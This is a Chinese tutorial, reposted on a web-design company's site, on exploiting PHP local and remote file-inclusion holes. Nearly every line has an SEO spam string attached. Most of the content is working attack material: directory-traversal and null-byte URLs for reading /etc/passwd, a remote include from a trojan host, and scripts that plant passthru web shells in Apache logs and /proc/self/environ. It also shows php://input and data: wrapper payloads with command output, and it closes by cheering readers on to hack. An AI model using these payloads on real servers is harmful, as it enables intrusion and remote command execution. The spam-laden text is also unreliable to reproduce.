加入收藏 | 设为首页 | 会员中心 | 我要投稿 | 在线留言 | RSS
成网科技业务包括域名空间企业网站制作
 
国际域名com/net/org仅售80元/年
1G独立空间(PHP+MYSQL)仅售600元/年
您当前的位置:首页 > 技术交流 > 网络安全 > 脚本攻防

php包含漏洞替代技术的方法与介绍 php文件包含漏洞详解

时间:2012-06-11 23:04:14  来源:互联网  作者:佚名  点击:

================ iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
php包含漏洞替代技术 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
================ iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
php开发者们犯得一个基本的错误是把一个不正当的变量传递给系统函数,特别是include()和require()这两个函数。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
这个常见的错误导致了众所周知的远程文件包含漏洞和本地文件包含漏洞。在过去的几年中,php已经开始试图通过缺省设置来消除或限制这种漏洞的所带来影响。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
但即使是简单的本地文件包含,也会有新的技术去利用这些漏洞来导致远程命令的执行。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
================ iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
介绍php包含漏洞 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
================ iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
文件包含漏洞的要点是要去找到一个方法来包含带有你的php恶意代码的文件。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
<?php iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
include($_GET['content']); iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
?> iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
http://target/index.php?content=/etc/pa sswd iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
http://target/index.php?content=http://trojan/exec.php iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
这是第一个例子,它包含了本地文件/etc/pa sswd第二个例子包含了一个远程文件,这个远程包含文件在大多数情况下不能使用,因为php设置中的allow_url_fopen默认是off。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
当然,通常有此漏洞的php代码会比上面的例子更有限制性,通常是通过在前面加上一个目录,防止远程文件包含,前面加一个文件扩展名来限制可以包含哪些类型的文件。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
<?php iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
include("pages/".$_GET['content'].".php"); iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
?> iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
http://target/index.php?content=../../../etc/pa sswd%00 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
.../的使用允许目录横向风格的操作,使你可以操作代码中预定目录以外的目录的文件。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
如果php设置中open_basedir为on,它将会阻止你绕过过多的目录。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
网站的开发者有可能也会使用一些函数来过滤掉来自用户提交的恶意数据,但并非总是如此。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
空字节字符%00(/0)终止字符串,来切断在它之后提交的任何东西,即是当magic_quotes_gpc 默认为on的时候,也可以逃过。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
在http://ush.it网站中有一篇名为《PHP文件系统的攻击媒介》提供了可能的方法来应付空字节字符。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
php脚本安全也可能取决于像$_GLOBAL[]或$_SERVER[]等的变量,像最近被发现的phplist的漏洞(phplist是一款国外的Email程序),例子为 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/pa sswd iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
================== iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
本地文件包含致远程代码执行 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
================== iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
一次你找到一个本地包含漏洞,你需要找到一个方法去把你的恶意php代码插入一个文件中,大量的技术在过去的几年中出现。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
有一种在服务日志中去注入php代码的技术比上面这些包含漏洞要出现的晚。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
它是有可能的去把我们的代码插入http请求的头部,然后包含Apache的access_log日志文件(它可能会进行一些测试去找到access_log)。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
考虑一下这个例子,在Mac OS X的Apache/PHP默认配置下,写一个脚本去发送一个请求可能是必须的,因为浏览器可能会对一些字符进行转义。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
<?php iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$a = fsockopen("localhost",80); iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
fwrite($a,"GET /<?php p assthru(/$_GET['cmd']); ?> HTTP/1.1/r/n". iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
"Host: localhost/r/n". iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
"Connection: Close/r/n/r/n"); iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
fclose($a); iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
?> iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
http://www.jb51.net /index.php?content=/var/log/httpd/access_log&cmd=id iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
另一种方法是包括了Apache/PHP进程的环境变量的/proc/ self/environ文件。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
如果我们将恶意代码插入User-Agent 的头部,这些代码会出现在那个文件里,所以远程执行代码是可能的。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
/proc/ self/environ必须是可读的 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
<?php iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$a = fsockopen("localhost",80); iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
fwrite($a,"GET /../../../../proc/ self/environ HTTP/1.1/r/n". iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
"User-Agent: <?php p assthru(/$_GET['cmd']); ?>/r/n". iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
"Host: localhost/r/n". iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
"Connection: Close/r/n/r/n"); iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
fclose($a); iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
?> iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
================= iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Php封装包含漏洞 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
==================== iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
利用php的include函数的另一种方法是利用php封装(http://www.php.net/wrappers.php)。这个例子将使用PHP输入,从一个HTTP POST请求的原始数据并执行它: iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
漏洞代码: iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
<?php iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
include($_GET['content']); iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
?> iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
我们的请求: iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
<?php iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$request = "<?php p assthru('id;');?>"; iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$req = "POST /index.php?content=php://input iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
HTTP/1.1/r/n". iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
"Host: localhost/r/n". iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
"Content-type: text/html/r/n". iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
"Content-length: ".strlen($request)."/r/n". iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
"Connection: Close/r/n/r/n". iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
"$request /r/n/r/n"; iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$a = fsockopen("10.0.2.2",80); iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
fwrite($a,$req); iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
echo $req; iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
while (!feof($a)){echo fgets($a, 128);} iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
fclose($a); iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
?> iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
得到的结果:uid=33(www-data) gid=33(www-data) groups=33(www-data) iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
这个例子的前提是allow_url_include和allow_fopen_include两个选项设置为ON,在这种情况下,标准的远程文件包含是可能的。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
这个方法的优点是它不依赖于外部储存文件服务器。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
cr0w-at.blogspot.com提到另一种技术使用"数据:"封装: iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
index.php?content=data:,<?php s ystem($_GET[c]);?>?&c=dir iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
或者base64编码过的: iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
index.php?content=data:;base64, /PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
============ iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
总结 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
============ iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
这些方法大多都不是新的,并没有表现出缺陷或在PHP语言本身的局限性。这些问题通常可以通过强大的输入验证,常识编码,和一些预防更严格的服务器配置。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
然而,许多问题并不是很快能消失的(SQL注入等),所以开心的去黑吧。 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
*本文中阐述的漏洞不会存在于Silic Group的网站 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
*如果你足够细心,你会发现文中很多关键字,例如敏感路径、敏感函数,都被加了个空格 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
*是因为服务器的防火墙会拦截此类关键字,检测到关键字时服务器就会显示501/503错误 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
*这就是BlackBap.Org所在服务器拦截的原因 iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
*本站管理员注:-) iMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
作者:AnonymousiMi成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
成网科技 www.it28.com竭诚为您服务!
开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设_成网科技

更多
 


来顶一下
返回首页
返回首页
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
相关文章
    无相关信息
栏目更新
栏目热门